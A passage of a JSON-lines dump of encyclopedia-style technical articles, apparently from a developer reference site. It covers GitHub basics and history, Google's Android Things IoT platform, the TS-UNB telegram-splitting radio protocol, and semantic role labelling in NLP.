for product rating prediction. LM uses RNN along with deep topic model to capture both syntax and global semantic structure.","meta":{"title":"Language Modelling","href":"language-modelling"}}
{"text":"# GitHub\n\n## Summary\n\n\nGitHub is a hosting platform for managing source code. GitHub offers source code management with version control and collaboration features. With GitHub, developers have a platform to work together on projects from anywhere.\n\nGitHub is widely used to host and manage open source projects. There's also a licensed version of GitHub named GitHub Enterprise, which allows organizations to install and manage GitHub servers in a data centre or on enterprise cloud. Irrespective of GitHub's freely available hosted version or the enterprise licensed version, its main purpose is to: \n\n* Facilitate version control of source code\n* Track aspects of software development\n* Collaborate using features such as Wikis, project boards, forking, pull requests and merging\n* Provide uniformity in the developers' interaction with the platform\n\n## Discussion\n\n### What are the key terms a developer should know to understand GitHub?\n\nWe note a few terms: \n\n    + **Repository**: A place for source code and other files of a project.\n    + **Clone**: Download a copy of a repository into a local machine to work on it independently.\n    + **Fork**: Copy another's repository into one's own GitHub account. Users usually can't directly update repositories owned by others but can they make changes to the fork.\n    + **Branch**: Isolates code changes. A repository can have multiple branches, each serving a specific purpose, such as a bug fix, feature development or experimentation. Each branch doesn't affect the work on other branches.\n    + **Pull Request**: Describe the changes and request for a review. Applicable to branches and forks. However, they can be also be used to initiate feature discussions.\n    + **Merge**: Take finished work from one branch into a target branch.\n    + **Fetch**: Bring changes from a remote repository to the local copy but keep the local copy untouched.\n    + **Pull**: A combination of fetch followed by merge.\n\n### What are the key features of GitHub?\n\nKey features of GitHub include but are not limited to: \n\n    + Distributed revision control, meaning that a clone is a complete copy and allows developers to work offline.\n    + Collaboration features such as issues management, project boards, wikis, and adding reviewers to the changes being made in the repository.\n    + Automation features such as auto labeling of issues, continuous integration, continuous deployment, and change approval based on events.\n    + Team management features such as creating individual accounts, assigning individuals a custom role with defined permissions, inviting other members to collaborate on a repository, creating and assigning email notifications rules, and even imposing restrictions when so required.\n    + Ability to check for code vulnerability in real time before it gets shipped to production\n    + Other security features such as private repositories, two-factor authentication for user accounts, and security audit logs to track who has performed what actions and when.\n\n### How is GitHub different from Git?\n\nGit is a version control software whereas GitHub is a platform that enables multiple developers to collaborate on a project. \n\nGit is installed on the user's machine or a server. Typically, a developer installs Git client tools and starts working on the project. When changes are ready to be shared with others, the developer can push them to a shared online repository. GitHub is one such platform for sharing and collaboration. It's a web-based service that hosts Git repositories.\n\nWhile Git is focused on version control, GitHub uses Git but also offers many features not native to Git: forking, online editing, branch protection rules, user and team management, encryption key management, email notifications, task tracking, project wikis, marketplace for third-party tools, and more. \n\nGit has its alternatives: Mercurial, Team Foundation Version Control (TFVC), Bazaar, CVS, SVN, Fossil, Perforce (Helix Core), and more. GitHub too has its alternatives. Amazon CodeCommit, Atlassian BitBucket and GitLab are some examples. Organizations can also create and maintain their own online platforms instead of using GitHub. This is called self-hosting. \n\n\n### What are the high-level steps involved in getting started with GitHub?\n\nTo get started with GitHub, a developer should have internet access to interact with the hosting platform. The developer can begin with these basic steps: \n\n    + Create a GitHub account\n    + Create a repository or fork an existing repository\n    + When creating a repository, control access using the visibility feature\n    + Clone the repository, thereby making a local copy\n    + Create a new branch\n    + Add a new file: this can be any file, even a text file would do as a start\n    + Commit and push the changes from local repository to remote repository on GitHub\n    + Create a pull request, applicable when your GitHub repository is a fork another *upstream* repository\n    + When others submit a pull request to your repository, review the pull request and merge it\n    + Invite collaborators to contribute to the repository.\n\n### What tools do I need to interact with GitHub?\n\nA developer can use the following tools:\n\n    + **Web Browsers**: GitHub platform is supported by the latest browser versions of Chrome, Firefox, Safari and Microsoft Edge.\n    + **GitHub CLI**: A command-line tool, when installed in the user's system shall be used to interact with various features of the GitHub platform. Using GitHub CLI, a developer can create pull requests, manage bugs, and perform GitHub Actions.\n    + **GitHub Desktop**: This is a GUI-based tool that simplifies the interaction with Git and performs actions related to GitHub branches, fetching or pulling changes into the local repository, committing the changes, and pushing the changes to the remote repository on GitHub.\n    + **GitHub Mobile**: It's a mobile app compatible with Android and iOS devices, using which the users can manage notifications, collaborate on pull requests and issues, and interact with repositories in GitHub. GitHub Mobile app is currently in beta version and applicable for the GitHub Enterprise Server 3.0+ licensed versions.\n\n### How can I maintain my project source code in the GitHub repository?\n\nIf the project involves only text files for version control, one can create and manage the files in the GitHub's user interface using the compatible browsers as a client-side tool. However, it's best to clone the repository to the local machine when the project involves a complex ecosystem such as a Java, Python or JavaScript-based web development. Cloning is also the solution when you want to group multiple file changes into a single commit. \n\nAs a prerequisite to perform cloning and working on the repository, you should have a GIT client tool (GIT CLI or GitHub Desktop) installed in the system. To clone, you can do either of these:\n\n    + **GitHub CLI**: `gh repo clone <userName>/<repoName>`\n    + **Git Bash**: `git clone https://github.com/<userName>/<repoName>`Create a feature branch in the local repository and start adding the files to the project. Once the changes are done, commit them. Then push the changes to the remote GitHub Repository.\n\n\n### What are the best practices when using GitHub?\n\nOne of the best practices is to have a README file at the root path of the repository. This should capture high-level project information. While creating the repository, the repository owner can choose a suitable license.\n\nWrite descriptive commit messages. Don't commit directly to the main branch. Instead use branch and create pull requests. Main branch should always be deployable. Commit with the right email address. Don't commit project dependencies or temporary build or log files. Don't commit configurations since these may hold passwords and other secrets. Many of these can be avoided by writing your `.gitignore` file correctly. \n\nDon't put passwords, API keys, SSH keys and other secrets in code. Secure your account with two-factor authentication (2FA). Use SSH keys and SSH Git URL, which are essential for 2FA. \n\nLock package versions for all project dependencies. Use GitHub's Code Owners feature for faster reviews. This automatically selects reviewers. Another useful feature is GitHub Organizations for easier access control. \n\nGitHub has published a number of videos that share best practices in many areas: CI/CD, workflow strategies, managing projects, quality control, searching, getting insights, etc. \n\n\n### How can I contribute to open source projects in GitHub?\n\nGitHub has a search feature allowing developers to look for suitable projects. Once you've selected a project, fork the repository. This allows you to carry out the changes without impacting the original repository.\n\nRead and understand the project guidelines to ensure your contributions will meet the criteria defined. As an example, see the guidelines from the Apache Kafka project. \n\nOnce the changes are made in the forked repository, create a pull request to the original project repository. Wait for the review comments from the original repository's collaborators. Address the review comments, if received any, and push the changes. Review gets done and your changes get merged to the original project repository.\n\nApart from feature development or fixing issues, there are other ways to contribute. These include documenting Wiki pages, providing clarification to issues reported by others, providing examples in the existing documentation, or enhancing the project's Readme file.\n\n## Milestones\n\nOct  \n2007\n\nThe **first code commit** is done towards the development of the GitHub hosting platform. \n\nApr  \n2008\n\n**GitHub's website** is made available by Tom Preston-Werner, Chris Wanstrath, P. J. Hyett, and Scott Chacon. \n\nJul  \n2010\n\nGitHub reaches a milestone of hosting one million repositories on its hosting platform. \n\nApr  \n2013\n\nGitHub adopts a **new logo** along with a mascot named *Octocat*. Name in the logo capitalizes \"G\" and \"H\".  \r GitHub reaches a milestone of 3.5 million users. There are a total of 6 million repositories hosted on GitHub. \n\nOct  \n2018\n\n**Microsoft acquires GitHub** on October 26, 2018. \n\nApr  \n2020\n\nGitHub announces the creation and usage terms of **private repositories**. This is free with no limit on the number of collaborators. Also, users are now allowed to use all the core features of GitHub free of cost.","meta":{"title":"GitHub","href":"github"}}
{"text":"# Android Things\n\n## Summary\n\n\nAndroid Things is an operating system released by Google for IoT and embedded devices. It's based on Android, which in turn uses the Linux kernel. It therefore has support for multitasking and virtual memory. It's meant to fit on devices with a limited memory footprint, although 512 MB is the minimum RAM requirement. Android Things therefore targets a different IoT segment compared to microcontroller-based IoT devices. \n\nFor Android developers, building IoT apps will be easier via Android Things. They can use familiar tools and interfaces: Android Studio, Android SDK, Google Play Services, Firebase and Google Cloud. Android libraries including Kotlin and RxJava can be used. In addition, Google certifies compatible System-on-Modules (SoMs) and provides the Board Support Package (BSP). **Android Things Console** will enable managed firmware and app updates to IoT devices.\n\n## Discussion\n\n### Why should I use Android Things for my IoT device?\n\nIf you're an Android developer, it's going to be easy getting into IoT app development with Android Things. You can use familiar tools and interfaces, along with Firebase and Google Cloud Platform. Google claims, \n\n> If you can build an app, you can build a device\n\nAndroid Things can run on both 32-bit and 64-bit platforms, on both ARM and x86-based processors. Google certifies SoMs that work with Android Things and also provides the necessary BSPs. The modular design of SoMs enables developers to use them on a development board while prototyping and reuse them on any custom carrier board designed for end products. Development boards such as NXP iMX7D and Raspberry Pi 3 are available for fast prototyping. Android Things Console enables easy management of over-the-air (OTA) firmware updates in a secure manner without service interruption. \n\nAt a layer above the OS, **Weave** comes in to enable different devices to communicate using shared schemas. Android Things comes with built-in Weave connectivity. It's to be noted that Weave can be used even without Android Things. \n\n\n### How is Android Things different from Android?\n\nAndroid Things uses the same lower layers of the stack as Android. For the application framework, while some APIs are not available in Android Things, the **Things Support Library** has been added. This library provides low-level hardware access (GPIO, PWM, I2C, SPI, UART, etc.), which is not possible with Android. \n\nSystem apps and content providers typical on Android phones are not installed. In general, APIs that are not available are those that require user input or authentication. Displays are optional. There's no Play Store access for users to download and install apps. As developers, you will probably ship Android Things and your apps on your own custom hardware. \n\n\n### What's part of the Things Support Library?\n\nThere are three parts to this: \n\n    + **Peripheral I/O API**: Allows apps to access and control sensors and actuators using standard interfaces such as GPIO, PWM, I2C, SPI and UART.\n    + **User Driver API**: Allows developers to extend framework services. Apps can inject hardware events that other apps can use via Android APIs. For example, a GPS module can update the framework of current location and other apps can use location manager APIs that are already part of Android.\n    + **Cloud IoT Core**: Enables IoT data flow management within Google Cloud Platform.\n\n### How does Android Things compare against MCU-based IoT platforms?\n\nAndroid Things on a dual-core CPU with 512 MB RAM is not the right pick for just blinking LEDs or collecting and sending few bytes of data. It's better suited for gateways and edge devices that require local processing. Running Machine Learning inferences on the device is a possible use case. \n\nThis also means that Android Things is unsuitable for a range of processors from 8-bit MCUs to 32-bit ARM Cortex M-series cores. Devices powered by Android Things will also consume much more power than MCUs, although they may be better at implementing security. \n\n\n### What are the hardware platforms that Android Things supports?\n\nAs on May 2018, the following are supported for production: \n\n    + NXP i.MX8M (ARM Cortex A53, 64-bit + QC7000Lite GPU)\n    + Qualcomm SDA212 (ARM Cortex A7, 32-bit + QC Adreno 304 GPU)\n    + Qualcomm SDA624 (ARM Cortex A53, 64-bit + QC Adreno 506 GPU)\n    + MediaTek MT8516 (ARM Cortex A35, 64-bit)Following are for prototyping and testing only: \n\n    + NXP i.MX7D (ARM Cortex A7, 32-bit)\n    + Raspberry Pi 3 Model B (ARM Cortex A53, 64-bit)We can note that this covers both 32-bit and 64-bit processors. While Intel Edison and Joule platforms support Android Things, the latter's website no longer lists them. NXP i.MX7D is an SoC, and it has an equivalent SoM and development board. \n\nBoth NXP and Intel SoMs include Wi-Fi and Bluetooth for connectivity. Android Things also supports IEEE 802.15.4 for LoWPAN connectivity for which Nordic nRF52840 is a supported platform. \n\n\n### What tools and resources are available for working with Android Things?\n\nThe following may be a starting point for developers: \n\n    + Android Studio command line (CL) tools: adb, apkanalyzer, dumpsys, logcat ...\n    + android-things-setup-utility: CL tool to flash image\n    + Android Things Console: manage images and push updates to devices\n    + pio: access Peripheral I/O via adb shell (dev/debug)\n    + lowpanctl: access LoWPAN via adb shell (dev/debug)\n    + Android Things native library: access Peripheral I/O natively in C/C++ when extra performance is needed\n    + Android Things main website and docs\n    + Code samples\n    + Peripheral Driver Library: open source driver code contributed by community that provide higher-level API on top of Peripheral I/O API\n    + Google's IoT Developers Community on Google+\n    + Hackster.io/google to get inspired by community projectsWhen using Intel hardware, UPM and MRAA libraries can simplify peripheral I/O interfacing. They offer an alternative to Google's Things Support Library and Peripheral Driver Library. \n\n## Milestones\n\n2011\n\nGoogle makes a first attempt with IoT by announcing *Android@Home*, which never took off even as late as 2013. \n\nMay  \n2015\n\nGoogle announces *Brillo* as the operating system for IoT devices. Brillo is derived from Android and uses the latter's lower layers: kernel and hardware abstraction layer. It's supposed that Brillo requires only 32 MB of RAM. This was later claimed to be a 'rumour'. \n\nDec  \n2016\n\nGoogle rebrands Brillo as *Android Things*. Android Things is created based on developer feedback on Brillo. Unlike Brillo, which was based on C++, Android Things allows Android developers to code in Java and use familiar tools, interfaces and services they are already used to. \n\nDec  \n2017\n\nDeveloper Preview 6.1 is released. It's based on Android 8.1 developer preview, can target apps using API level 27 and supports SDK 11.6. APIs are introduced for LoWPAN. It's clearly stated that this preview may have stability issues. \n\nJan  \n2018\n\nAt CES 2018 in Las Vegas, some vendors showcase products that include Android Things. In general, smart speakers integrate Android Things with Google Assistant while smart displays integrate Android Things with Google Cast. \n\nMar  \n2018\n\nDeveloper Preview 7 is released with many new features in Android Things Console. \n\nMay  \n2018\n\nAndroid Things 1.0 is released with long-term support for production devices. This includes support for new SoMs, and configuration and control of Peripheral I/O via Android Things Console. \n\nFeb  \n2019\n\nGoogle refocuses Android Things as a **platform for OEM partners**. Over the last year, Google has already been working with vendors of smart speakers and smart displays, shipping Android Things with Google Assistant built-in. Therefore, on the public developer platform, there won't be any further support for SoMs based on NXP, Qualcomm, and MediaTek hardware. On the Android Things Console, projects based on NXP i.MX7D and Raspberry Pi 3B will be limited to 100 devices for non-commercial use. \n\nJan  \n2021\n\nFrom January 5th, Android Things Console doesn't allow new projects based on NXP i.MX7D and Raspberry Pi 3B. The Console can be used till January 5th, 2022 for existing projects. After that date, all project data include build configurations and factory images will be deleted.","meta":{"title":"Android Things","href":"android-things"}}
{"text":"# Telegram Splitting Ultra Narrow Band\n\n## Summary\n\n\nTelegram Splitting Multiple Access (TSMA) is a technique in which a telegram or packet is broken up into many sub-packets. These sub-packets are then pseudo-randomly distributed over frequency and time. This makes the transmission resilient to interferers. Some sub-packets may be lost but data can still be recovered due to Forward Error Correction (FEC). Telegram Splitting Ultra Narrow Band (TS-UNB) is a protocol family that adopts TSMA. \n\nTSMA was invented at Fraunhofer IIS. It was subsequently adopted by ETSI as part of the **Low Throughput Network (LTN)** standard. LTN specifies three different protocol families in the sub-GHz band and TS-UNB is one of them. Radio characteristics, PHY/MAC/link layers and profiles are specified for TS-UNB. \n\nTS-UNB is commercialized under the trademark MIOTY and promoted by the MIOTY Alliance.\n\n## Discussion\n\n### What are the radio characteristics of TS-UNB?\n\nTS-UNB is defined in license-free bands 868 MHz (Europe) and 915 MHz (US). Channel bandwidth is based on the TSMA mode: Narrow (25 kHz), Standard (100 kHz), and Wide (750 kHz). The corresponding carrier spacing is about 397 kHz, 2.4 MHz, and 28.6 MHz. \n\nRadio-burst duration is based on the protocol mode: UL-ULP (15.14 ms), UL-ER (90.74 ms), and DL-TS-ULP (11.76-12.43 ms), for Ultra Low Power (ULP), Extended Reach (ER) and Time Splitting (TS). A radio burst is followed by radio idle time, thus limiting the duty cycle as per the TSMA pattern. \n\nIn DL-TS, a message is split and sent across many radio bursts. A set of radio bursts carrying one message is called a **radio frame**. Bursts are spread across 24 carriers (C0-C23). Carrier C24 is reserved for the optional Sync-Burst. Radio frame consists of core frame and extension frame:\n\n    + Uplink: Core (24 bursts) plus additional extension frame (one radio burst for every extra byte) if PHY payload exceeds 186 bits.\n    + Downlink: Core (9 bursts repeated to fill 18 bursts) plus optional extension frame (18 bursts per block, multiple blocks).\n\n### What are the operation modes in TS-UNB?\n\nTS-UNB has a few operation modes. An LTN system must implement one subset. Downlink modulation can be GMSK (with telegram splitting) or GFSK (with single burst) whereas uplink modulation is always GMSK (with telegram splitting). Variable MAC mode allows implementers to define custom MAC/link layers or use Wireless M-Bus. \n\nThe standard defines **TS-UNB Profiles**, which are sets of modes to enable interoperability between endpoints and base stations. The following profiles are defined: \n\n    + **EU0**: For Europe. Telegram splitting. Single channel. 100 kHz bandwidth. Standard TSMA mode.\n    + **EU1**: Similar to EU0 but dual channel.\n    + **EU2**: Similar to EU1 but 750 kHz bandwidth and Wide TSMA mode.\n    + **US0**: Similar to EU2 for U.S. bands.In addition, device classes are defined. **Class Z** devices are uplink only. **Class A** devices are capable of bidirectional communication, with downlink transmission at the base station triggered by an uplink reception. Class A devices negotiate at the link layer some operation modes. The configuration is fixed in the standard for Class Z devices. \n\n\n### How is a TSMA pattern selected for the next transmission?\n\nWithin a radio frame (core + extension), the time-frequency allocation for transmission is called a **TSMA Pattern**. A group of patterns is called a **TSMA Pattern Group**. Patterns and their groups are fixed in the standard. \n\nUplink has three groups: UPG1 (8 patterns), UPG2 (8 patterns) and UPG3 (1 pattern). UPG1 is for a single transmission. UPG2 is for initial and repeat transmissions of a radio frame. UPG3 is to achieve low latency. Downlink has only one group called DPG (8 patterns). \n\nFor UPG1 and UPG2, the endpoint shall use the patterns in the sequence `(1,2,3,4,1,2,3,4,5,1,2,3,4,5,6)` and repeat this sequence. Pattern 6 is used only for attach process, pattern 7 for high priority messages and pattern 8 is reserved. For extension frame, the pattern is selected pseudo-randomly. In downlink, the pattern is selected pseudo-randomly based on the Header CRC field. The same pattern is used for both core and extension frames. \n\n\n### What's frame repetition in TS-UNB?\n\nFor better performance due to redundancy, a radio frame may be repeated. This is possible in both uplink and downlink. In uplink, the initial and repeated radio frames shall have identical data. Applicable pattern is UPG2. In downlink, extended frame is not repeated. Downlink repeated frame uses the second half of the TSMA pattern. \n\nHeader CRC and Payload CRC fields of the uplink PHY payload are calculated and set by the endpoint. These fields are available to the base station. They determine the time offset and frequency offset for the repeat transmission. Time offset is zero for initial transmission. Frequency offset is zero for single channel transmission. Frequency offset is always the same for initial and repeat transmissions. \n\nThe use of repetition itself is configured at the link layer during the attach procedure. \n\n\n### What are the PHY layer functions in TS-UNB?\n\nTS-UNB doesn't define any **time synchronization** across the network. A radio frame starts when the first burst is sent by an endpoint. This starting point is randomly chosen by the endpoint. \n\nIn the downlink, **block slicing** happens. Each Block PSDU is limited to 24 bytes and gets its own CRC. This improves error detection. Moreover, if a Sync-burst is used on the core frame, it's also used on each extension frame, thus aiding the receiver. \n\nLong sequences of zeros or ones can cause problems at the receiver. This is prevented by doing **data whitening** using the PN9 pseudo-random sequence generator. \n\nFor **error correction**, convolutional code at rate 1/3 is used. \n\nFinally, PHY payload is split into many sub-packets. This is done via **interleaving**, which assigns the bits to each sub-packet and then places the bits in the correct order within each burst. In the uplink, CRC fields and PSI appear in core frame. In the case of DL-SB, PHY payload is sent in a single burst without splitting. \n\n\n### What's the format of a TS-UNB radio burst?\n\nUplink PHY PDUs are sent out as multiple radio bursts over the radio frame. Each burst has 12-bit data, 12-bit pilot sequence (PS) and another 12-bit data. Pilot sequences differ for the core frame and the extension frame. \n\nIn downlink, the core frame is to used to acknowledge the uplink endpoint transmission. Thus, it may be used on its when there's nothing to send on the downlink. Extension frame carries the PHY PDUs in blocks. Each block has a slice of the PPDU called **Block PSDU** of at most 24 bytes. For DL-TS, each burst has at the minimum 8-bit PS, 12-bit data and another 8-bit PS. A burst in an extension frame can contain two more data fields of variable length. \n\nA downlink Sync-burst may precede the core frame and therefore each block. A core frame Sync-burst has 5-bit PS, 12-bit data, and another 4-bit PS. Sync-bursts in the extended frame have variable number of pilot symbols depending on symbol availability. \n\n\n### What are the MAC layer functions in TS-UNB?\n\nMAC takes care of **scheduling**. While uplink transmission may start anytime, downlink transmission starts 16,384 symbols after receiving the last uplink radio burst. Time offsets are based on midpoints of the pilot sequence within each burst. \n\nResponse flag in the MAC header announces the downlink window. Both uplink and downlink MAC headers have a response flag. If set, the receiver is expected to **acknowledge** the reception. However, base station may ignore this flag due to its limited transmission duty cycle. When priority flag is set in the downlink, endpoint should acknowledge within a time window. \n\nMAC does endpoint **addressing**. Downlink addressing is implicit in the timing and CMAC. Uplink addressing is via a 16-bit short address (received during attach procedure) or a globally unique IEEE EUI64 address. \n\nMAC does **encryption** of its payload. Except for the attach packet request, all others are encrypted. AES128 algorithm is used. The attach procedure provides information to determine the 128-bit network key based on pre-shared private key. In addition, MAC generates and includes a 32-bit CMAC for the integrity and authenticity of each packet. \n\n\n### What are the link layer functions in TS-UNB?\n\nLink layer establishes and maintains a connection between the endpoint and the base station. It has a number of control segments to achieve this: Attach Request/Accept, Detach Request/Accept, DLRX-Status Query/Response, Link Adaptation Request/Confirm, and user-specific control segments. Attach requests are sent by endpoint. Detach requests can be sent by either end. Detach disconnects the endpoint from the network. Since class Z devices are unidirectional, they're pre-attached during manufacturing. \n\nDuring attach request/accept and link adaptation request, endpoint and base station agree on the capabilities via the Endpoint Info field: single/dual channel, use of repetition, DL interblock distance, etc. A default configuration is used for the attach procedure. \n\nApart from its control functions, the link layer also relays to MAC data payload coming from the network layer above. \n\n\n### What's the TS-UNB PDU structure at different layers?\n\nAt the link layer, the same format is used both in uplink and downlink. LPDU consists of control payload and data payload. Control payload can contain one or more control segments. Each control segment includes a 2-bit header to indicate the type of control message such as Attach, Detach, Link Adaptation, etc. \n\nAt MAC, fixed mode and variable mode have different formats. MPDU in variable mode has the same format in uplink and downlink. The chosen mode is indicated by the MMode field in PPDU. SIGN field is a Cipher-based Message Authentication Code (CMAC). \n\nAt PHY, uplink PSDU is 20-255 bytes. PSDU less than 20 bytes is zero-padded and padding is ignored for CRC calculation. Payload CRC is based on MPDU and MMode. Header CRC is based on Payload CRC and PSI. Packet Size Indicator (PSI) gives the actual size before padding. In the downlink, the same PPDU format is used for both DL-SB and DL-TS. Downlink PSDU is 7-250 bytes. \n\n## Milestones\n\nSep  \n2011\n\nFraunhofer-Gesellschaft zur Förderung der angewandten Forschung e.V. files a German **patent** that introduces the concept of telegram splitting. Their analysis shows that the probability of losing a telegram decreases when it's split into more packets. Curve 170 in the figure shows packet error probability while other curves show telegram error probability. The patent is subsequently published in the U.S. as US20140176341 (June 2014). \n\nSep  \n2014\n\nETSI publishes an initial set of documents that specify the architecture, protocols, interfaces and use cases of **Low Throughput Networks (LTNs)**. At this point, there's no explicit mention of telegram splitting.   \n\nDec  \n2015\n\nFraunhofer-Gesellschaft zur Förderung der angewandten Forschung e.V. apply for a German **trademark on MIOTY**. International and U.K. trademarks are filed in May 2016. Subsequently, these applications are approved and registered. MIOTY becomes the commercial name for Fraunhofer's LPWAN solution that adopts TS-UNB as the underlying protocol. Sisvel International manages the licensing of MIOTY and this is announced in April 2020. \n\nJun  \n2018\n\nETSI publishes two documents: **TS 103 357: Protocols for radio interface A** and **TS 103 358: LTN Architecture**. For the radio interface A, the standard defines three different families. TS-UNB is one of them, thus becoming an industry standard.","meta":{"title":"Telegram Splitting Ultra Narrow Band","href":"telegram-splitting-ultra-narrow-band"}}
{"text":"# Semantic Role Labelling\n\n## Summary\n\n\nIn linguistics, *predicate* refers to the main verb in the sentence. Predicate takes arguments. The role of **Semantic Role Labelling (SRL)** is to determine how these arguments are semantically related to the predicate.\n\nConsider the sentence \"Mary loaded the truck with hay at the depot on Friday\". 'Loaded' is the predicate. Mary, truck and hay have respective semantic roles of loader, bearer and cargo. We can identify additional roles of location (depot) and time (Friday). The job of SRL is to identify these roles so that downstream NLP tasks can \"understand\" the sentence. \n\nSRL is also known by other names such as thematic role labelling, case role assignment, or shallow semantic parsing.\n\n## Discussion\n\n### Why do we need semantic role labelling when there's already parsing?\n\nOften an idea can be expressed in multiple ways. Consider these sentences that all mean the same thing: \"Yesterday, Kristina hit Scott with a baseball\"; \"Scott was hit by Kristina yesterday with a baseball\"; \"With a baseball, Kristina hit Scott yesterday\"; \"Kristina hit Scott with a baseball yesterday\". \n\nEither constituent or dependency parsing will analyze these sentence syntactically. But syntactic relations don't necessarily help in determining semantic roles. One way to understand SRL is via an analogy. In image captioning, we extract main objects in the picture, how they are related and the background scene. This is precisely what SRL does but from unstructured input text. Such an understanding goes beyond syntax. \n\nHowever, parsing is not completely useless for SRL. In a traditional SRL pipeline, a parse tree helps in identifying the predicate arguments. \n\nBut SRL performance can be impacted if the parse tree is wrong. This has motivated SRL approaches that completely ignore syntax. However, many research papers through the 2010s have shown how syntax can be effectively used to achieve state-of-the-art SRL.    \n\n\n### What are some applications of SRL?\n\nSRL is useful in any NLP application that requires semantic understanding: machine translation, information extraction, text summarization, question answering, and more. For example, predicates and heads of roles help in document summarization. For information extraction, SRL can be used to construct extraction rules. \n\nSRL can be seen as answering \"who did what to whom\". Obtaining semantic information thus benefits many downstream NLP tasks such as question answering, dialogue systems, machine reading, machine translation, text-to-scene generation, and social network analysis. \n\nHistorically, early applications of SRL include Wilks (1973) for machine translation; Hendrix et al. (1973) for question answering; Nash-Webber (1975) for spoken language understanding; and Bobrow et al. (1977) for dialogue systems. \n\n\n### Which are the essential roles used in SRL?\n\nOne of the oldest models is called **thematic roles** that dates back to Pāṇini from about 4th century BC. Roles are assigned to subjects and objects in a sentence. Roles are based on the type of event. For example, if the verb is 'breaking', roles would be *breaker* and *broken thing* for subject and object respectively. Some examples of thematic roles are agent, experiencer, result, content, instrument, and source. There's no well-defined universal set of thematic roles. \n\nA modern alternative from 1991 is **proto-roles** that defines only two roles: *Proto-Agent* and *Proto-Patient*. Using heuristic features, algorithms can say if an argument is more agent-like (intentionality, volitionality, causality, etc.) or patient-like (undergoing change, affected by, etc.). \n\n\n### How are VerbNet, PropBank and FrameNet relevant to SRL?\n\nVerbs can realize semantic roles of their arguments in multiple ways. This is called *verb alternations* or *diathesis alternations*. Consider \"Doris gave the book to Cary\" and \"Doris gave Cary the book\". The verb 'gave' realizes THEME (the book) and GOAL (Cary) in two different ways. **VerbNet** is a resource that groups verbs into semantic classes and their alternations. \n\n**PropBank** contains sentences annotated with proto-roles and verb-specific semantic roles. Arguments to verbs are simply named Arg0, Arg1, etc. Typically, Arg0 is the Proto-Agent and Arg1 is the Proto-Patient. Being also verb-specific, PropBank records roles for each sense of the verb. For example, for the word sense 'agree.01', Arg0 is the Agreer, Arg1 is Proposition, and Arg2 is other entity agreeing. \n\nAn idea can be expressed with similar words such as increased (verb), rose (verb), or rise (noun). PropBank may not handle this very well. **FrameNet** is another lexical resources defined in terms of frames rather than verbs. For every frame, *core roles* and *non-core roles* are defined. Frames can inherit from or causally link to other frames. \n\n\n### What's the typical SRL processing pipeline?\n\nSRL involves predicate identification, predicate disambiguation, argument identification, and argument classification.  \n\nArgument identification is aided by **full parse trees**. However, in some domains such as biomedical, full parse trees may not be available. In such cases, **chunking** is used instead. \n\nWhen a full parse is available, **pruning** is an important step. Using heuristic rules, we can discard constituents that are unlikely arguments. In fact, full parsing contributes most in the pruning step. Pruning is a recursive process. \n\nIf each argument is classified independently, we ignore interactions among arguments. A better approach is to assign multiple possible labels to each argument. Then we can use global context to select the final labels. This step is called **reranking**. \n\n\n### Which are the main approaches to SRL?\n\nEarly SRL systems were rule based, with rules derived from grammar. Since the mid-1990s, statistical approaches became popular due to FrameNet and PropBank that provided training data. Classifiers could be trained from feature sets. A set of features might include the predicate, constituent phrase type, head word and its POS, predicate-constituent path, voice (active/passive), constituent position (before/after predicate), and so on. \n\nSRL has traditionally been a supervised task but adequate annotated resources for training are scarce. Research from early 2010s focused on inducing semantic roles and frames. There's also been research on transferring an SRL model to low-resource languages. \n\nOne novel approach trains a supervised model using question-answer pairs. Given a sentence, even non-experts can accurately generate a number of diverse pairs. We therefore don't need to compile a pre-defined inventory of semantic roles or frames.  \n\n\n### Which are the neural network approaches to SRL?\n\nNeural network approaches to SRL are the state-of-the-art since the mid-2010s. We note a few of them.\n\nRoth and Lapata (2016) used dependency path between predicate and its argument. Words and relations along the path are represented and input to an LSTM. Another input layer encodes binary features. A hidden layer combines the two inputs using RLUs. Finally, there's a classification layer. \n\nHe et al. (2017) used deep BiLSTM with highway connections and recurrent dropout. With word-predicate pairs as input, output via softmax are the predicted tags that use BIO tag notation. GloVe input embeddings were used. Another research group also used BiLSTM with highway connections but used CNN+BiLSTM to learn character embeddings for the input. \n\nSince 2018, self-attention has been used for SRL. Strubell et al. (2018) applied it to train a model to jointly predict POS tags and predicates, do parsing, attend to syntactic parse parents, and assign semantic roles. One of the self-attention layers attends to syntactic relations. Shi and Lin used BERT for SRL without using syntactic features and still got state-of-the-art results. \n\n## Milestones\n\n350  \nBC\n\nIndian grammarian Pāṇini authors *Aṣṭādhyāyī*, a treatise on Sanskrit grammar. It records rules of linguistics, syntax and semantics. His work is discovered only in the 19th century by European scholars. His work identifies semantic roles under the\r name of *kāraka*. \n\n1965\n\nIn what may be the beginning of modern **thematic roles**, Gruber gives the example of motional verbs (go, fly, swim, enter, cross) and states that the entity conceived of being moved is the *theme*. The theme is syntactically and semantically significant to the sentence and its situation. A related development of semantic roles is due to Fillmore (1968). \n\n1991\n\nDowty notes that all through the 1980s new thematic roles were proposed. There's no consensus even on the common thematic roles. A large number of roles results in *role fragmentation* and inhibits useful generalizations. As an alternative, he proposes **Proto-Agent** and **Proto-Patient** based on verb entailments. An argument may be either or both of these in varying degrees. He then considers both fine-grained and coarse-grained verb arguments, and 'role hierarchies'. Essentially, Dowty focuses on *the mapping problem*, which is about how syntax maps to semantics. \n\nSep  \n1993\n\nBeth Levin published *English Verb Classes and Alternations*. This work classifies over 3,000 verbs by meaning and behaviour. She makes a hypothesis that a verb's meaning influences its syntactic behaviour. She then shows how identifying verbs with similar syntactic structures can lead us to semantically coherent verb classes. For example, \"John cut the bread\" and \"Bread cuts easily\" are valid. But 'cut' can't be used in these forms: \"The bread cut\" or \"John cut at the bread\". \n\n1997\n\n**FrameNet** is launched as a three-year NSF-funded project. Semantic information is manually annotated on large corpora along with descriptions of semantic frames. Conceptual structures are called **frames**. Role names are called **frame elements**. For example, in the *Transportation* frame, *Driver*, *Vehicle*, *Rider*, and *Cargo* are possible frame elements. \n\n2000\n\nKipper et al. at the University of Pennsylvania create **VerbNet**. This is a verb lexicon that includes syntactic and semantic information. In 2004 and 2005, other researchers extend Levin classification with more classes. In 2008, Kipper et al. use Levin-style classification on PropBank with 90% coverage, thus providing useful resource for researchers. \n\n2000\n\nJust as Penn Treebank has enabled syntactic parsing, the Propositional Bank or **PropBank** project is proposed to build a semantic lexical resource to aid research into linguistic semantics. The idea is to add a layer of predicate-argument structure to the Penn Treebank II corpus. By 2005, this corpus is complete. It uses VerbNet classes. In time, PropBank becomes the preferred resource for SRL since FrameNet is not representative of the language. 